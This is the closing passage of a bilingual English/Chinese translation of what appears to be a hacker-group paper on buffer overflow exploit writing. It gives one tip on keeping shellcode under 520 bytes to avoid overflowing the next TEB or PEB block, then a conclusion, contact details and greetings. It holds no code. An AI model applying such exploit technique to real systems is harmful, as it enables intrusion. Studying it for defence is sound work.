The length of our shellcode should be lesser than 520 bytes, which prevent to overflow the next TEB

or PEB block.

構造的 shellcode 長度必須小於 520 位元組,以避免造成下個 TEB 或 PEB 區塊溢出。

0x06 Conclusions

0x06 結論

The three methods presented in this paper are quite useful during writing the buffer overflows exploit.

該文所展示的三個手法於撰寫緩衝區溢出攻擊代碼期間相當有用。

All comments, suggestions, questions -> send to:

關於所有的評論、建議、提問,請發信到:

suN8Hclf <[email protected]> & crimsoN_Loyd9 <[email protected]>

Feel free to write me any time...

有時間的話就寫封信給我吧...

0x07 Greetings

0x07 致謝

Sir P.Sobczak (for being the "coolest" person in the world, for Your help, suggestions) and

M.Domosud(for trust), P.Jeda(for friendship), K.CzErEdYs(for "jestes zajebisty"), M.Slaski, Die_Angel,0in(for

WebIDS), all DaRk-CodeRs Group, adhgmiz(for inspiration), Emmanuel Goldstein(for "drug deal":):)), rHiana,

RoMaNcy-HaCker, undergr0und.net...

Stay secure...

大家保重......